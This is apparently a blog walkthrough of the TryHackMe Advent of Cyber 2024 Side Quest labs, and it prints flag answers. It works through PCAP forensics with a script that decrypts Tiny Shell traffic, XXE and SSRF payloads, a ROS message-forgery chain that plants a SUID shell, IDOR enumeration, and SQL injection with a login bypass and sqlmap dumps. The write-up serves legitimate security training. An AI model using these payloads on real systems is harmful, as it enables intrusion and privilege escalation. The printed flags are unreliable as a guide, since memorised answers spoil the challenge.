This post is a detailed walkthrough of the TryHackMe Advent of Cyber 2024 Side Quest. In this post, I tried to provide detailed steps to obtain flags for the all the tasks. Some tasks aren’t finished yet so I wrote the walkthrough to obtain the L key cards needed to start solving the challenge.

HackTheBox CPTS Study Notes

OSCP Study Notes

T1: Operation Tiny Frostbite

Description

By the time you read this, you’ve already been attacked. I’m in your machine and you won’t get it back. You must be aware that the more you delay, the more information will be stolen away. Your SOC is so weak, I’ll lend them a hand. Here’s a PCAP of the attack, you can’t beat this band! If your machine you want to recover, the password I stole you’ll need to discover.”

The first of our enemies is the Frostbite Fox. Known for being the slyest of them all. She’s made her way into McSkidy’s machine. Luckily for us, our great SOC detected it all in time. While the team focuses on securing the machine, you are tasked with recovering the password the Fox stole, so we can get McSkidy’s data back.

Note: To attempt this challenge you will need to find the L1 Keycard in the main Advent of Cyber room challenges. The password in the keycard will allow you to open the ZIP file, which you can download from http://MACHINE_IP/aoc_sq_1.zip. The zip file is safe to download with MD5 of 044a78a6a1573c562bc18cefb761a578. In general, as a security practice, download the zip and analyze the forensic files on a dedicated virtual machine, and not on your host OS. The keycard will be hidden between days 1 and 4.

T1: Operation Tiny Frostbite | Answers

What is the password the attacker used to register on the site?

We extract the ZIP file using the password from the first keycard, revealing a PCAP file. Upon analysis, we identify a port scan, activity on port 22, and significant traffic on port 80. Since the first question pertains to passwords, we search for this term within the packet details. Repeatedly using the search function, we eventually discover the first set of credentials in packet 1532, which were used to register the user “frostyfox.”

Ans: QU9DMjAyNHtUaW55X1R

What is the password that the attacker captured?

Ans: pbnlfVGlueV9TaDNsbF

What is the password of the zip file transferred by the attacker?

The following question concerns the password for a transferred zip file, but we cannot locate it in the HTTP Object using File -> Export Objects -> HTTP. However, there are files of potential interest for later analysis, particularly the file ff. Moving forward, we begin by filtering traffic on ports 22 and 80 while also disregarding Nmap traffic. This reveals activity on ports 9001 and 9002. The data on port 9001 appears to be nonsensical, possibly due to encryption.

Since we couldn’t unlock the password for the zip file, we need to analyze the network traffic more thoroughly. This might help us uncover how the zip file was generated. We recall observing traffic on port 9001.

As previously noted, this traffic is encrypted. Given that reverse engineering the associated binary is a complex task, we opt to check for potential malware by using VirusTotal. To do this, we first calculate the MD5 checksum of the file. Then, we use this hash to search for any known entries in VirusTotal’s database.

This shell secures its communications using AES-CBC-128 encryption. The specifics of how the encryption operates or is implemented are described in the file pel.c.

It includes a Packet Encryption Layer (PEL) designed for the Tiny Shell application. This layer employs AES-CBC-128 for encryption and HMAC-SHA1 to verify message integrity. Here’s a summarized overview:

Encryption Mode

  • Utilizes AES in CBC mode with a 128-bit key.
  • Initialization Vectors (IVs) are derived using SHA-1 and process-specific data.

Message Authentication

  • Message integrity is validated with HMAC-SHA1.
  • A packet counter (p_cntr) is included to guard against replay attacks.

Session Initialization

  • Client Side:
    • Generates two IVs.
    • Configures encryption contexts.
    • Performs a challenge-response handshake with the server.
  • Server Side:
    • Receives IVs from the client.
    • Sets up encryption contexts.
    • Verifies the client’s challenge during the handshake.

Message Transmission

  • Encrypts plaintext in 16-byte blocks (the AES block size).
  • Adds padding for alignment and appends an HMAC for integrity.
  • Sends the encrypted message and HMAC as a combined packet.

Message Reception

Decrypts ciphertext block by block using AES-CBC.

Ensures integrity by verifying the HMAC.

Using BinaryNinja, the key is directly located in the .data segment. The next step involves extracting the data sent to the target machine to identify the commands that might have been executed. For this purpose, tshark is utilized. The initial packet sent contains the two IVs.

tshark -r traffic.pcap -Y "tcp.dstport == 9001" -T fields -e data > data.txt

Key Derivation (derive_keys):

This function takes a secret_key and a 20-byte Initialization Vector (IV) and derives the following:

  • AES Key: A 128-bit key used for decryption.
  • HMAC Keys: k_ipad and k_opad for message authentication.
  • Initial IV: Derived from the first 16 bytes of the given IV.

Decryption and HMAC Validation (decrypt_message):

  • Ciphertext and HMAC Extraction: Separates the ciphertext and HMAC from the packet.
  • HMAC Verification: Computes and compares the HMAC using derived keys (k_ipad, k_opad) and the packet counter.
  • Ciphertext Decryption: Decrypts the ciphertext using AES in CBC mode to retrieve:
    • The plaintext message length.
    • The plaintext content.
  • IV Update: Updates the IV for the next packet using the last ciphertext block.

Message Processing (decrypt_client_message):

This function manages the decryption context, which includes:

  • The AES key, HMAC keys, last IV, and packet counter.
  • Updates the IV and counter after processing each packet.

File Processing (process_file):

Output: Produces the decoded message in both byte and hex formats.

Read Packets: Reads intercepted packet data from a file (e.g., port_9001_data.txt).

Hex Conversion: Converts each line of hex-encoded packet data into bytes.

Decrypt and Validate: Decrypts and validates each packet using the client decryption context.

The decryption code

import hashlib
from Crypto.Cipher import AES

def generate_keys(secret_key: bytes, iv: bytes):
"""Generate AES encryption key and HMAC keys from a given secret key and IV."""
if len(iv) != 20:
raise ValueError("Initialization Vector (IV) must be exactly 20 bytes.")

sha1_hash = hashlib.sha1(secret_key + iv).digest()
aes_encryption_key = sha1_hash[:16]

# Derive HMAC keys with padding
ipad_key = bytearray((0x36 ^ b) for b in sha1_hash[:20]) + bytearray(0x36 for _ in range(44))
opad_key = bytearray((0x5C ^ b) for b in sha1_hash[:20]) + bytearray(0x5C for _ in range(44))

initial_iv = iv[:16]
return aes_encryption_key, ipad_key, opad_key, initial_iv

def validate_and_decrypt(packet: bytes, aes_key: bytes, ipad_key: bytes, opad_key: bytes, iv: bytes, counter: int):
"""Validate HMAC and decrypt the AES-encrypted message."""
if len(packet) <= 20:
raise ValueError("Packet is too short to contain both ciphertext and HMAC.")

# Separate ciphertext and HMAC
ciphertext = packet[:-20]
provided_hmac = packet[-20:]
counter_bytes = counter.to_bytes(4, 'big')

# Compute HMAC for validation
ipad_digest = hashlib.sha1(ipad_key + ciphertext + counter_bytes).digest()
expected_hmac = hashlib.sha1(opad_key + ipad_digest).digest()

if expected_hmac != provided_hmac:
raise ValueError("HMAC validation failed.")

# Decrypt ciphertext using AES in CBC mode
aes = AES.new(aes_key, AES.MODE_CBC, iv)
decrypted_data = aes.decrypt(ciphertext)

# Extract message length and message content
message_length = (decrypted_data[0] << 8) + decrypted_data[1]
message = decrypted_data[2:2 + message_length]

# Update IV for the next packet
updated_iv = ciphertext[-16:]
return message, updated_iv

def process_client_message(packet, context):
"""Handle decryption of a client message."""
aes_key, ipad_key, opad_key, current_iv, packet_counter = context
message, new_iv = validate_and_decrypt(packet, aes_key, ipad_key, opad_key, current_iv, packet_counter)
context[3] = new_iv # Update IV in context
context[4] += 1 # Increment packet counter
return message

# Replace with your actual secret key!
secret_key = b"SuP3RSeCrEt"
iv_data = bytes.fromhex(
"26f321efd8ee637c408657b6fd94059e33191e953a41611cb0b4b3a0f889f679616120961d87f683"
)

client_iv, server_iv = iv_data[:20], iv_data[20:]
client_context = list(generate_keys(secret_key, client_iv)) + [0] # Packet counter initialized to 0

def decrypt_from_file(file_path):
"""Read encrypted messages from a file and decrypt them."""
with open(file_path, 'r') as file:
for line in file:
hex_data = line.strip()
if hex_data: # Ensure the line is not empty
try:
packet = bytes.fromhex(hex_data)
message = process_client_message(packet, client_context)
print("Decrypted Client Message (bytes):", message)
print("Decrypted Client Message (hex):", message.hex())
except ValueError as error:
print(f"Failed to process message {hex_data}: {error}")

# Decrypt messages from the specified file
decrypt_from_file('data.txt')

After running the script

Ans: 9jYW5fRW5jcnlwVF9iVXR

What is McSkidy’s password that was inside the database file stolen by the attacker?

Back to Wireshark, we inspect the traffic on port 9002 and we find a SQL file:

Next follow the packet’s TCP stream and save the raw file:

Now, we just need to extract the elves.sql file from the previously extracted zip file. Inside it, we’ll find McSkidy’s password.

Ans: faXRfSXNfTjB0X0YwMGxwcm8wZn0=

T2: Yin and Yang

It was the night before the Best Festival Company’s annual holiday production run, and their state-of-the-art robotic duo, YIN and YANG, were the pride of the operation. YIN handled precision crafting with unrivalled finesse, while YANG managed mass production at breathtaking speed. Together, they kept the toy lines humming, spreading joy to millions.

But in the shadows of the icy Arctic night, Penguin Zero, the tech genius of the Frostlings Five, had other plans.

The Hack

Using his signature cybernetic “Frost Override,” Penguin Zero infiltrated the company’s network. With a few keystrokes and a sly grin, he uploaded a malicious script into YIN and YANG, seizing control of the robotic pair. Production came to an abrupt halt as the machines began churning out nothing but frozen figurines of the Frostlings Five. Their icy grins mocked the frantic elves, scrambling to regain control.

But YIN and YANG were designed to operate in perfect harmony, sharing critical data through an encrypted feedback loop. Penguin Zero, knowing the encryption’s complexity, left a chilling message for the company: “Balance is key. Can you find it before your deadline melts away?”

T2: Yin and Yang | Answers

L2 Keycard

The keycard for the second Side Quest is discovered during the task on the fifth day of the TryHackMe Advent of Cyber. We proceed to test the web application using the available XXE exploit.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>

We aim to include files that provide insights into other services running on the system.

The /etc/apache2/sites-enabled/000-default.conf file holds the default configuration for the Apache web server’s virtual host. This file typically outlines the document root, logging locations, and default behaviors. Examining it may reveal references to other services or applications hosted on the server. However, it cannot be directly included as it fails to parse XML due to containing raw XML data. A workaround involves using PHP filters to encode the file’s content, enabling us to extract the information hidden within /etc/apache2/sites-enabled/000-default.conf.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" >]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>

After decoding the content, we discover that another service is running on port 8080 on localhost, with a notably suspicious root directory located at /var/www/ssfr. Additionally, both the access.log and error.log files are stored within the web root directory. This setup creates an opportunity to potentially exploit an XXE (XML External Entity) vulnerability to perform a Server-Side Request Forgery (SSRF) attack.

We begin by attempting to access the index page of the local web service running on port 8080. To achieve this, we make use of the payload again, utilizing PHP filters. Then we follow this by quering /access.log and after decoding the base64, we can find the the path to the card is:

/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png

We’re ready to return to the side quest challenge. Begin by starting the machine “Yin.” Head to the corresponding room to start “Yang.” Remember, both machines need to be activated simultaneously.

Start with a standard nmap scan on the machine to check all ports. I won’t provide a screenshot here, but once the scan completes, you’ll notice a service running on port 21337. To proceed, access port 21337 on Yin’s IP and also on Yang’s IP. Enter the keycard password at each to disable the firewalls, enabling SSH connections to both Yin and Yang.

For the “yin” machine, we observe that we can execute /catkin_ws/yin.sh as root using sudo. Similarly, on the “yang” machine, we have permission to run /catkin_ws/yang.sh as root. Reviewing the script for “yang,” we notice it invokes rosrun to execute runyang.py. The rosrun command is part of the Robot Operating System (ROS), designed to execute files from any package in the ROS environment.

We attempt to run yin.sh, but it fails to register with the master node at http://localhost:11311, indicating that the ROS server is not running locally. This reveals the need to compromise both machines. It seems likely that the ROS server needs to be running on each machine for commands to execute successfully. Before proceeding further, it’s prudent to investigate what processes are actively running.

The Yin class serves as a ROS (Robot Operating System) node designed to interact with a communication system, incorporating message signing and verification capabilities. It employs the Comms message type to publish messages to a topic named messagebus.

For signing messages, the node utilizes a private RSA key, which it retrieves from a file named privatekey.pem.

To enable command execution verified by a secret key, the node offers a service called svc_yang.

With the private RSA key, the script creates messages containing a timestamp, sender, receiver, action, and feedback, which are then sent to the messagebus for signing.

Additionally, the node periodically sends a “ping” message to a receiver named yang, executing a simple shell command: touch /home/yang/yin.txt.

#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yin:
def __init__(self):

self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


#Read the message channel private key
pwd = b'secret'
with open('/catkin_ws/privatekey.pem', 'rb') as f:
data = f.read()
self.priv_key = RSA.import_key(data,pwd)

self.priv_key_str = self.priv_key.export_key().decode()

rospy.init_node('yin')

self.prompt_rate = rospy.Rate(0.5)

#Read the service secret
with open('/catkin_ws/secret.txt', 'r') as f:
data = f.read()
self.secret = data.replace('\n','')

self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

def handle_yang_request(self, req):
# Check secret first
if req.secret != self.secret:
return "Secret not valid"

sender = req.sender
receiver = req.receiver
action = req.command

os.system(action)

response = "Action performed"

return response


def getBase64(self, message):
hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
return hmac

def getSHA(self, hmac):
m = hashlib.sha256()
m.update(hmac.encode())
return str(m.hexdigest())

#This function will craft the signature for the message based on the specific system being talked to
def sign_message(self, message):
hmac = self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
sig = base64.b64encode(signature).decode()
message.hmac = sig
return message

def craft_ping(self, receiver):
message = Comms()
message.timestamp = str(rospy.get_time())
message.sender = "Yin"
message.receiver = receiver
message.action = 1
message.actionparams = ['touch /home/yang/yin.txt']
#message.actionparams.append(self.priv_key_str)
message.feedback = "ACTION"
message.hmac = ""
return message

def send_pings(self):
# Yang
message = self.craft_ping("Yang")
message = self.sign_message(message)
self.messagebus.publish(message)

def run_yin(self):
while not rospy.is_shutdown():
self.send_pings()
self.prompt_rate.sleep()

if __name__ == '__main__':
try:
yin = Yin()
yin.run_yin()

except rospy.ROSInterruptException:
pass

The script for yang operates as another ROS node that integrates secure message handling, command execution, and message signing to interact with a communication system. It validates incoming orders, executes them if verified, and subscribes to topics on the message bus.

It utilizes a private RSA key, stored in the privatekey.pem file, for signing messages, similar to the previous script.

This node processes messages directed to yang and listens to a specific message bus topic.

After validating a message, it executes commands specified in the actionparams field using os.system.

Once the action is completed, the node requests further action from “Yin” by calling the svc_yang service. It then executes the command, creates a reply message, signs it, and publishes it back to the message bus.

#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yang.msg import Comms
from yang.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yang:
def __init__(self):

self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


#Read the message channel private key
pwd = b'secret'
with open('/catkin_ws/privatekey.pem', 'rb') as f:
data = f.read()
self.priv_key = RSA.import_key(data,pwd)

self.priv_key_str = self.priv_key.export_key().decode()

rospy.init_node('yang')

self.prompt_rate = rospy.Rate(0.5)

#Read the service secret
with open('/catkin_ws/secret.txt', 'r') as f:
data = f.read()
self.secret = data.replace('\n','')

rospy.Subscriber('messagebus', Comms, self.callback)

def callback(self, data):
#First check to do is see if this is a message for us and one we need to respond to
if (data.receiver != "Yang"):
return

#Now we know the message is for us. We can start system checks to see if it is a valid message
if (not self.validate_message(data)):
print ("Message could not be validated")
return

#Now we can action the message and send a reply
for action in data.actionparams:
os.system(action)

#Now request an action from Yin
self.yin_request()

#Send reply
reply = Comms()
reply.timestamp = str(rospy.get_time())
reply.sender = "Yang"
reply.receiver = "Yin"
reply.action = 2
reply.actionparams = []
reply.actionparams.append(self.priv_key_str)
reply.feedback = "Action Done"
reply.hmac = ""

reply = self.sign_message(reply)

self.messagebus.publish(reply)

def validate_message(self, message):
valid = True
#Only accept messages from the allfather
if (message.sender != "Yin"):
valid = False
print ("Message is not from Yin")
return valid

#First we need to validate the timestamp. The difference should not be bigger than threshold
current_time = str(rospy.get_time())
current_time_sec = int(current_time.split('.')[0])
current_time_nsec = int(current_time.split('.')[1])
message_time_sec = int(message.timestamp.split('.')[0])
message_time_nsec = int(message.timestamp.split('.')[1])

second_diff = current_time_sec - message_time_sec
nsecond_diff = current_time_nsec - message_time_nsec

if (second_diff <= 1):
print ("Time difference is acceptable to answer message and not a replay")
else:
print ("Message is a replay and should be discarded")
valid = False
return valid
# Here we want to respond and say that time is not acceptable thus regarded as replay

#Now we need to validate the signature
hmac = self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
sig = base64.b64encode(signature).decode()

if (message.hmac != sig):
print ("Signature verification failed")
valid = False
# Respond and say signature failed

return valid

def yin_request(self):
resp = ""
rospy.wait_for_service('svc_yang')
try:
service = rospy.ServiceProxy('svc_yang', yangrequest)
response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
except rospy.ServiceException as e:
print ("Failed: %s"%e)
resp = response.response
return resp


def handle_yang_request(self, req):
# Check secret first
if req.secret != self.secret:
return "Secret not valid"

sender = req.sender
receiver = req.receiver
action = req.action

os.system(action)

response = "Action performed"

return response

def getBase64(self, message):
hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
return hmac

def getSHA(self, hmac):
m = hashlib.sha256()
m.update(hmac.encode())
return str(m.hexdigest())

#This function will craft the signature for the message based on the specific system being talked to
def sign_message(self, message):
hmac = self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
sig = base64.b64encode(signature).decode()
message.hmac = sig
return message

def run_yang(self):
rospy.spin()

if __name__ == '__main__':
try:
yang = Yang()
yang.run_yang()

except rospy.ROSInterruptException:
pass

In the “yin” script, a “ping” operation is executed, but this script requires root privileges to run because the private key it uses is only accessible to the root user. This limitation prevents us from modifying the script to create files other than those specified in the ping request.

In contrast, the “yang” script reveals a vulnerability: it makes a callback that includes the contents of the private key.

The strategy is to run a ROS master node on the “yin” server, establish communication between “yin” and “yang,” and monitor the message bus topic on the “yang” server to capture the private key being sent in the callback.

Once we retrieve the private key, we can create a custom script that replaces the ping operation with one that generates a SUID-enabled /bin/bash binary, granting us elevated privileges.

Now, we’re operating on the “yin” server:

Next, We begin by running roscore to set up the ROS server and start the “yin” script. To make the “yin” master accessible to “yang,” we employ SSH port forwarding. By logging into “yang,” we forward port 11311 from “yin” to “yang.” This allows “yang” to communicate with the ROS master running on “yin.”

roscore &
sudo /catkin_ws/yin.sh &

With this setup in place, we execute /catkin_ws/yang.sh on the “yang” server. This triggers the handler to validate the messages being exchanged. Using the rostopic echo /messagebus command on “yang,” we can observe the messages transmitted over the topic.

ssh -L 11311:localhost:11311 yin@10.10.85.62
sudo /catkin_ws/yang.sh

At this point, we can see the RSA private key being transmitted in one of the messages—a critical callback that we’re closely examining right now.

        #Send reply
reply = Comms()
reply.timestamp = str(rospy.get_time())
reply.sender = "Yang"
reply.receiver = "Yin"
reply.action = 2
reply.actionparams = []
reply.actionparams.append(self.priv_key_str)
reply.feedback = "Action Done"
reply.hmac = ""

We copy the contents of /catkin_ws/src/ into /home/yin/yin. Within that directory, we create a file named suid.py, which is essentially a modified version of /catkin_ws/src/yin/scripts/runyin.py with some minor adjustments.

cp -r /catkin_ws/src/ yin
#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yin:
def __init__(self):

self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


#Read the message channel private key
pwd = b'secret'
with open('/home/yin/yin/privatekey.pem', 'rb') as f:
data = f.read()
self.priv_key = RSA.import_key(data,pwd)

self.priv_key_str = self.priv_key.export_key().decode()

rospy.init_node('yrdy')

self.prompt_rate = rospy.Rate(0.5)

def getBase64(self, message):
hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
return hmac

def getSHA(self, hmac):
m = hashlib.sha256()
m.update(hmac.encode())
return str(m.hexdigest())

#This function will craft the signature for the message based on the specific system being talked to
def sign_message(self, message):
hmac = self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
sig = base64.b64encode(signature).decode()
message.hmac = sig
return message

def craft_ping(self, receiver):
message = Comms()
message.timestamp = str(rospy.get_time())
message.sender = "Yin"
message.receiver = receiver
message.action = 1
message.actionparams = ['cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh']
#message.actionparams.append(self.priv_key_str)
message.feedback = "ACTION"
message.hmac = ""
return message

def send_pings(self):
# Yang
message = self.craft_ping("Yang")
message = self.sign_message(message)
self.messagebus.publish(message)

def run_yin(self):
# while not rospy.is_shutdown():
self.send_pings()
self.prompt_rate.sleep()

if __name__ == '__main__':
try:
yin = Yin()
yin.run_yin()

except rospy.ROSInterruptException:
pass

This script utilizes the private key stored in /home/yin/yin/privatekey.pem. Instead of simply generating an empty file, it now creates a SUID bit binary by executing the commands cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh.

We start by running the ROS master on the “yang” instance. The “yin” instance needs to be terminated. On “yang,” we execute the /catkin_ws/yang.sh script.

roscore &
sudo /catkin_ws/yang.sh

To make the server accessible on “yin,” we set up port forwarding through SSH, using the private key previously obtained and stored at /home/yin/yin/privatekey.pem.

ssh -L 11311:localhost:11311 yang@10.10.92.55

Next, we run suid.py, which does not require root privileges since we already possess the private key. On “yang,” we observe that the SUID bit binary sh is created, allowing us to read the /root/yang.txt file that contains the flag for “yang.” Additionally, we can now access the secret used by “yang,” which could enable us to craft messages as “yang” for the svc_yang handler.

And this will give you the answers for the first question: What is the flag for YIN?

Next, Instead of creating a script like before, we can simplify the process since we now hold the secret of yang. With this secret, we can mimic the yang machine and send messages as though they originate from yang. The key is knowing how to properly invoke the services. For guidance, we refer to the following wiki entry.

To call the service, the entry provides the following instructions: From the included snippet, it’s evident that there is a yang service available. This service triggers the handle_yang_request, enabling the execution of system commands via os.system(action).

rosservice call /service_name service-args
class Yin:
def __init__(self):

self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


#Read the message channel private key
pwd = b'secret'
with open('/catkin_ws/privatekey.pem', 'rb') as f:
data = f.read()
self.priv_key = RSA.import_key(data,pwd)

self.priv_key_str = self.priv_key.export_key().decode()

rospy.init_node('yin')

self.prompt_rate = rospy.Rate(0.5)

#Read the service secret
with open('/catkin_ws/secret.txt', 'r') as f:
data = f.read()
self.secret = data.replace('\n','')

self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
...
def handle_yang_request(self, req):
# Check secret first
if req.secret != self.secret:
return "Secret not valid"

sender = req.sender
receiver = req.receiver
action = req.command

os.system(action)

response = "Action performed"

return response

After starting roscore on yang, forwarding the master port to yin using ssh -L 11311:localhost:11311 yang@yang_ip, and running sudo /catkin_ws/yin.sh and sudo /catkin_ws/yang.sh on the respective machines, the following services become accessible.

rosservce list

Among these is svc_yang, which allows the execution of commands.

rosservice info svc_yang

Using yin, we can now execute a service call as yang, which generates an SUID binary for sh. This allows us to gain a root shell and access the yin flag located at /root/yin.txt.

T3: Escaping the Blizzard

Guess what? I just hit the jackpot in your network. Your construction permit server is now mine. Without it, BFC won’t be able to grow as needed to cope with the current toy demand. Who would say such a small company had so much bureaucracy? I even managed to hack your old text-based service. Talk about a blast from the 90’s!

The Blizzard Bear, a mysterious figure, appears to have cracked the defences of the Best Company Festival security team. His elusive nature and unmatched cracking skills got him a critical server. This bear might look small, but he can ROAR for sure!

Can you match the Blizzard Bear skills and find a way to stop the backdoor from running by taking back control of the compromised machine?

Note: To attempt this challenge you will need to find the L3 Keycard in the main Advent of Cyber room challenges. The password in the keycard will allow you tear down the VM’s firewall so you can attack it. The keycard will be hidden between days 9 and 12.

L3 Keycard

The keycard for the third Side Quest is discovered during the task on the 12th day of the TryHackMe Advent of Cyber. The task provides a clue that suggests looking for something where “the balance shifts.” From the rhyming hints, it seems to imply searching for an IDOR (Insecure Direct Object Reference):

“Where balances shift and numbers soar,
Look for an entry – an open door.”

Day 12’s theme hints at malicious intent: “If I can’t steal their money, I’ll steal their joy!”

We continue exploring the directories of the walkthrough machine and discover a directory named transactions. When we try to access it, it requires an ID. This ID is provided only after completing a transaction. Upon closer inspection, it appears the ID could be MD5 hashed. We input the parameter ID with the value obtained from our last transaction and receive a status. To analyze further, we attempt to crack the transaction hash using crackstation.net and determine that, in this case, it represents the value 1339 hashed with MD5.

The next step is to search for additional transactions, as one of them might contain a reference to the keycard. To do this, we intercept a request with Burp Suite and forward it to the Intruder module. We identify the value passed via the ID parameter and mark it for modification. In the Payloads tab, we configure the necessary parameters to query further IDs, selecting the payload type numbers and limiting the range from 1330 to 1350 for now. Under Payload Processing, we specify that these values should be hashed.

After decoding the resulting strings, we find a path pointing to an image. Requesting this path reveals the third keycard.

/secret/0opsIDidItAgain_MayorMalware1337.png 

After disabling the firewall, we initiate an Nmap scan and discover three additional open ports alongside port 21337: port 22 (SSH), port 80 (a web server), and port 1337 (an unknown service). The website offers functionality for generating building and construction approvals, featuring a construction request form and a contact form.

Conducting a directory scan reveals a backup directory containing potentially sensitive information. Within this directory, we find a binary named enc, a list of recommended passwords, and a zip file.

Next, we connect to the service running on port 1337, which allows us to create, read, and edit permit entries. This service corresponds to the text-based interface mentioned in the room description that Blizzard Bear reportedly hacked. We test the binary by inputting various sample values. If unexpected input is provided, the application enters a loop. We proceed to download the zip file, the password file, and the binary.

Examining the contents of the zip file, we find what could be the first flag (foothold.txt), a binary named secureStorage, and a Dockerfile. Shifting our focus to the enc binary, we run it and observe that it encrypts given passwords. Using zip2john to attempt cracking the zip file’s password with the recommended password list proves unsuccessful.

To overcome this, we create a simple script that encrypts each password from the recommended.txt file and saves the results to a new file, encrypted.txt.

#!/bin/bash

# Define paths for the input file, output file, and encryption binary
input_file="/home/motasem/Documents/tryhackme/aoc24/sq3/recommended.txt"
output_file="/home/motasem/Documents/tryhackme/aoc24/sq3/encrypted.txt"
encryption_tool="/home/motasem/Documents/tryhackme/aoc24/sq3/enc"

# Initialize or clear the output file
> "$output_file"

# Process each password from the input file line by line
while IFS= read -r password; do
# Encrypt the current password using the specified encryption tool
encrypted_password=$("$encryption_tool" "$password")
# Write the encrypted password to the output file
echo "$encrypted_password" >> "$output_file"
done < "$input_file"

# Confirm completion of the encryption process
echo "Encryption process completed. Results are available in $output_file"

Then we use the below command:

./enc.sh

Next with the encrypted passwords text file ready, we use john the ripper:

john hash --wordlist=encrypted.txt

What is the content of the file foothold.txt?

This should give you the password needed to extract the content of the zipped file and find the first flag.

T4: Krampus Festival

“Looks like I misplaced my naughty list. I was on the hunt for a new one for a bit, and then I stumbled upon this server—an Active Directory, of all things! Just a heads up, all your users are now part of the game. The Krampus is out to snatch your naughty elves. Will they end up all in my bag, or will you find a way to take control back?”

As if the elves hadn’t enough already, the Kewl Krampus got their AD in its bag. He is even using it as we speak. His assistant is even sending emails and all from it. Will you be able to recover access before the Krampus your info snatches?

Note: To attempt this challenge you will need to find the L4 Keycard in the main Advent of Cyber room challenges. The password in the keycard will allow you tear down the VM’s firewall so you can attack it. The keycard will be hidden between days 13 and 17.

T4: Krampus Festival | Answers

We begin by running an Nmap scan on the target machine to locate the camera application if required. The scan reveals 5 open ports, with the Wareville CCTV application running on port 8080.

Accessing the application, we click on the Login option, input credentials, and intercept the request using Burp Suite. The intercepted request is then saved and tested with SQLMap to check for SQL Injection vulnerabilities in the login.

The test confirms that the login is indeed vulnerable to SQL injection. While it would be possible to dump the database using a time-based blind boolean attack, this approach would be too time-consuming. Knowing the vulnerability exists, we instead attempt to bypass the login directly. Using a specific SQL injection payload, we successfully bypass the login and are redirected to the my_cameras.php page.

admin' or 1=1 -- -

Here, we have the ability to choose various cameras and access their recordings. Camera selection is performed through camper.php?cam_id=1.

To test for SQL injection, we first intercept a request and save it for later use with SQLMap. Using this approach, we successfully dump the database.

sqlmap -r req2.txt --dump

The cctv_db contains a table named recordings with numerous entries, including paths like /recordings/rec1337-deleted.mp4.

Database: cctv_db
Table: recordings
[53 entries]
+----+--------+---------------------------------+---------+---------------------+
| id | cam_id | path | minutes | date_recording |
+----+--------+---------------------------------+---------+---------------------+
| 1 | 11 | /recordings/rec1337-deleted.mp4 | 5 | 2024-12-10 11:27:28 |
| 9 | 5 | /recordings/rec1337-deleted.mp4 | 10 | 2024-12-05 22:38:35 |
| 10 | 3 | /recordings/rec1337-deleted.mp4 | 19 | 2024-12-13 06:50:33 |
| 11 | 8 | /recordings/rec1337-deleted.mp4 | 13 | 2024-12-15 14:17:00 |
| 12 | 13 | /recordings/rec1337-deleted.mp4 | 23 | 2024-12-05 02:53:21 |
| 13 | 3 | /recordings/rec1337-deleted.mp4 | 12 | 2024-12-09 19:35:45 |
| 14 | 3 | /recordings/rec1337-deleted.mp4 | 26 | 2024-12-16 17:18:40 |
| 15 | 4 | /recordings/rec1337-deleted.mp4 | 25 | 2024-12-05 03:46:06 |
